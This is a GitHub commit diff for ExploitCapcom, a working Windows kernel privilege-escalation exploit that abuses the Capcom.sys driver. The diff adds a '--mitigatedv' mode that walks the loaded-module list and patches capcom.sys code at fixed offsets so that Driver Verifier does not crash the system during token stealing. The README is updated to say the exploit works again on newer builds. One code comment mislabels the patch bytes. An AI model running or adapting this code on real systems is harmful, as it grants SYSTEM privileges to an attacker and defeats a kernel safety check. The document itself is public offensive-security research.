Skip to content

Commit c2e2f1a

Browse files
authored
Implement mitigation for Driver Verifier (#4)
* implement mitigation for Driver Verifier
1 parent 19406cb commit c2e2f1a

2 files changed

Lines changed: 147 additions & 7 deletions

File tree

ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp

Lines changed: 144 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -22,23 +22,51 @@
2222
//
2323

2424
typedef void *PEPROCESS;
25+
typedef void *PERESOURCE;
26+
27+
typedef enum _POOL_TYPE
28+
{
29+
NonPagedPool,
30+
NonPagedPoolExecute = NonPagedPool,
31+
} POOL_TYPE;
2532

2633
using PSGETCURRENTPROCESSID = HANDLE(NTAPI*)();
2734

28-
using PSLOOKUPPROCESSBYPROCESSID = NTSTATUS(NTAPI *)(_In_ HANDLE ProcessId,
35+
using PSLOOKUPPROCESSBYPROCESSID = NTSTATUS(NTAPI*)(_In_ HANDLE ProcessId,
2936
_Out_ PEPROCESS * Process);
3037

31-
using OBDEREFERENCEOBJECT = VOID(NTAPI *)(_In_ PVOID Object);
38+
using OBDEREFERENCEOBJECT = VOID(NTAPI*)(_In_ PVOID Object);
3239

33-
using PSREFERENCEPRIMARYTOKEN = PACCESS_TOKEN(NTAPI *)(
40+
using PSREFERENCEPRIMARYTOKEN = PACCESS_TOKEN(NTAPI*)(
3441
_Inout_ PEPROCESS Process);
3542

36-
using PSDEREFERENCEPRIMARYTOKEN = VOID(NTAPI *)(
43+
using PSDEREFERENCEPRIMARYTOKEN = VOID(NTAPI*)(
3744
_In_ PACCESS_TOKEN PrimaryToken);
3845

39-
using MMGETSYSTEMROUTINEADDRESS = PVOID(NTAPI *)(
46+
using MMGETSYSTEMROUTINEADDRESS = PVOID(NTAPI*)(
4047
_In_ PUNICODE_STRING SystemRoutineName);
4148

49+
using RTLEQUALUNICODESTRING = BOOLEAN(NTAPI*)(
50+
_In_ PCUNICODE_STRING String1,
51+
_In_ PCUNICODE_STRING String2,
52+
_In_ BOOLEAN CaseInSensitive);
53+
54+
using RTLINITUNICODESTRING = VOID(NTAPI*)(
55+
_Inout_ PUNICODE_STRING DestinationString,
56+
_In_ PCWSTR SourceString);
57+
58+
using EXENTERCRITICALREGIONANDACQUIRERESOURCEEXCLUSIVE = PVOID(NTAPI*)(
59+
_In_ PERESOURCE Resource);
60+
61+
using EXRELEASERESOURCEANDLEAVECRITICALREGION = VOID(NTAPI*)(
62+
_In_ PERESOURCE Resource);
63+
64+
using EXALLOCATEPOOL = PVOID(NTAPI*)(
65+
_In_ POOL_TYPE PoolType, _In_ SIZE_T NumberOfBytes);
66+
67+
using EXFREEPOOL = VOID(NTAPI*)(
68+
_In_ PVOID P);
69+
4270
// Represents shellcode to be executed
4371
#include <pshpack1.h>
4472
typedef struct _SHELLCODE
@@ -57,6 +85,26 @@ typedef struct _IOCTL_IN_BUFFER
5785
SHELLCODE Shellcode;
5886
} IOCTL_IN_BUFFER, *PIOCTL_IN_BUFFER;
5987

88+
// winternal.h does not have complete members
89+
typedef struct _LDR_DATA_TABLE_ENTRY_EX
90+
{
91+
LIST_ENTRY InLoadOrderModuleList;
92+
LIST_ENTRY InMemoryOrderModuleList;
93+
LIST_ENTRY InInitializationOrderModuleList;
94+
PVOID DllBase;
95+
PVOID EntryPoint;
96+
ULONG SizeOfImage;
97+
UNICODE_STRING FullDllName;
98+
UNICODE_STRING BaseDllName;
99+
ULONG Flags;
100+
USHORT LoadCount;
101+
USHORT TlsIndex;
102+
LIST_ENTRY HashLinks;
103+
PVOID SectionPointer;
104+
ULONG CheckSum;
105+
ULONG TimeDateStamp;
106+
} LDR_DATA_TABLE_ENTRY_EX, * PLDR_DATA_TABLE_ENTRY_EX;
107+
60108
////////////////////////////////////////////////////////////////////////////////
61109
//
62110
// prototypes
@@ -82,13 +130,21 @@ static bool LaunchShell();
82130
// Indicates whether token stealing is done successfully
83131
static BOOLEAN gIsTokenStealingSuccessful = FALSE;
84132

133+
// Indicates mitigation for driver verifier
134+
static BOOLEAN gIsDvMitigationEnabled = FALSE;
135+
85136
////////////////////////////////////////////////////////////////////////////////
86137
//
87138
// implementations
88139
//
89140

90-
int main()
141+
int main(int argc, const char* argv[])
91142
{
143+
if (argc > 1 && strcmp(argv[1], "--mitigatedv") == 0)
144+
{
145+
gIsDvMitigationEnabled = TRUE;
146+
}
147+
92148
ExploitCapcomDriver();
93149
return 0;
94150
}
@@ -107,6 +163,11 @@ static bool ExploitCapcomDriver()
107163
std::cout << std::hex;
108164
std::cout << "[*] Capcom.sys exploit" << std::endl;
109165

166+
if (gIsDvMitigationEnabled == TRUE)
167+
{
168+
std::cout << "[*] DV mitigation is enabled" << std::endl;
169+
}
170+
110171
// Open the device created by Capcom.sys
111172
auto DeviceHandle = make_unique_ex(
112173
CreateFile(TEXT("\\\\.\\Htsysm72FB"), GENERIC_READ | GENERIC_WRITE,
@@ -224,6 +285,83 @@ static void KernelPayload(MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress)
224285
*reinterpret_cast<PEPROCESS*>(GetSystemRoutineAddress(
225286
MmGetSystemRoutineAddress, L"PsInitialSystemProcess"));
226287

288+
if (gIsDvMitigationEnabled == TRUE)
289+
{
290+
auto RtlEqualUnicodeString =
291+
reinterpret_cast<RTLEQUALUNICODESTRING>(GetSystemRoutineAddress(
292+
MmGetSystemRoutineAddress, L"RtlEqualUnicodeString"));
293+
294+
auto RtlInitUnicodeString =
295+
reinterpret_cast<RTLINITUNICODESTRING>(GetSystemRoutineAddress(
296+
MmGetSystemRoutineAddress, L"RtlInitUnicodeString"));
297+
298+
auto ExAllocatePool =
299+
reinterpret_cast<EXALLOCATEPOOL>(GetSystemRoutineAddress(
300+
MmGetSystemRoutineAddress, L"ExAllocatePool"));
301+
302+
auto ExFreePool =
303+
reinterpret_cast<EXFREEPOOL>(GetSystemRoutineAddress(
304+
MmGetSystemRoutineAddress, L"ExFreePool"));
305+
306+
auto PsLoadedModuleList =
307+
*reinterpret_cast<PLIST_ENTRY*>(GetSystemRoutineAddress(
308+
MmGetSystemRoutineAddress, L"PsLoadedModuleList"));
309+
310+
auto PsLoadedModuleResource =
311+
*reinterpret_cast<PERESOURCE*>(GetSystemRoutineAddress(
312+
MmGetSystemRoutineAddress, L"PsLoadedModuleResource"));
313+
314+
auto ExEnterCriticalRegionAndAcquireResourceExclusive =
315+
reinterpret_cast<EXENTERCRITICALREGIONANDACQUIRERESOURCEEXCLUSIVE>(GetSystemRoutineAddress(
316+
MmGetSystemRoutineAddress, L"ExEnterCriticalRegionAndAcquireResourceExclusive"));
317+
318+
auto ExReleaseResourceAndLeaveCriticalRegion =
319+
reinterpret_cast<EXRELEASERESOURCEANDLEAVECRITICALREGION>(GetSystemRoutineAddress(
320+
MmGetSystemRoutineAddress, L"ExReleaseResourceAndLeaveCriticalRegion"));
321+
322+
// Disable normal kernel APCs and acquire resource
323+
ExEnterCriticalRegionAndAcquireResourceExclusive(PsLoadedModuleResource);
324+
325+
// Critical region starts herewith below
326+
{
327+
UNICODE_STRING CapcomNameUs;
328+
RtlInitUnicodeString(&CapcomNameUs, L"capcom.sys");
329+
330+
for (PLIST_ENTRY Entry = PsLoadedModuleList;
331+
Entry != PsLoadedModuleList->Blink;
332+
Entry = Entry->Flink)
333+
{
334+
PLDR_DATA_TABLE_ENTRY_EX LdrEntry =
335+
CONTAINING_RECORD(Entry, LDR_DATA_TABLE_ENTRY_EX, InLoadOrderModuleList);
336+
337+
if (RtlEqualUnicodeString(&CapcomNameUs, &LdrEntry->BaseDllName, TRUE) == TRUE)
338+
{
339+
BYTE PatchShellcode[] = {
340+
0x33, 0xC0, // xor edx, edx
341+
0x90 // nop
342+
};
343+
344+
// Patch for IRP_MJ_DEVICE_CONTROL
345+
memcpy(
346+
(void*)((UINT_PTR)LdrEntry->DllBase + 0x631),
347+
&PatchShellcode,
348+
sizeof(PatchShellcode));
349+
350+
// Patch for IRP_MJ_CREATE and IRP_MJ_CLOSE
351+
memcpy(
352+
(void*)((UINT_PTR)LdrEntry->DllBase + 0x518),
353+
&PatchShellcode,
354+
sizeof(PatchShellcode));
355+
356+
break;
357+
}
358+
}
359+
}
360+
// Critical region ends
361+
362+
ExReleaseResourceAndLeaveCriticalRegion(PsLoadedModuleResource);
363+
}
364+
227365
// Get the process object of the current process
228366
PEPROCESS CurrentProcess = nullptr;
229367
NTSTATUS Status = PsLookupProcessByProcessId(PsGetCurrentProcessId(),

README.md

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,9 @@ ExploitCapcom
44
❗❗Obsolete❗❗
55
-------------
66

7-
This exploit no longer works since Windows 10 20H2 (Build 19042), and the author will not provide a fix or workaround for it. See [issue #3](https://github.com/tandasat/ExploitCapcom/issues/3) for more details.
7+
This exploit no longer works since Windows 10 20H2 (Build 19042) while DV (*Driver Verifier*) is enabled. See [issue #3](https://github.com/tandasat/ExploitCapcom/issues/3) and [PR #4](https://github.com/tandasat/ExploitCapcom/pull/4) for more details.
8+
9+
In order to avoid DV crash, use `--mitigatedv` parameter. e.g, `ExploitCapcom.exe --mitigatedv`.
810

911

1012
Description

0 commit comments

Comments
 (0)